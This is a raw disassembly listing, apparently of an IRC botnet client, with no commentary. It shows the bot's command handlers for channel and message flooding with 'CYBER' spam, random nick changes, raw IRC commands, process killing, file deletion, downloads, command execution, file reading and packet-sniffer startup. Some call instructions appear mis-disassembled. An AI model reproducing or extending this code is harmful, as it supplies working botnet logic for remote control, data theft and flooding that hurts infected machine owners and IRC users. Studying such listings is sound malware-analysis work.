		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B534
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B530
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B518
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B504
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		call	near ptr 2680CD4h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B494
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B480
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B47C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B454
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B40C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B40C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D403C

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB03C

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA75C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B37C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B27C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B24C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset dword_42B210
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1D4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B1A8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B180
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
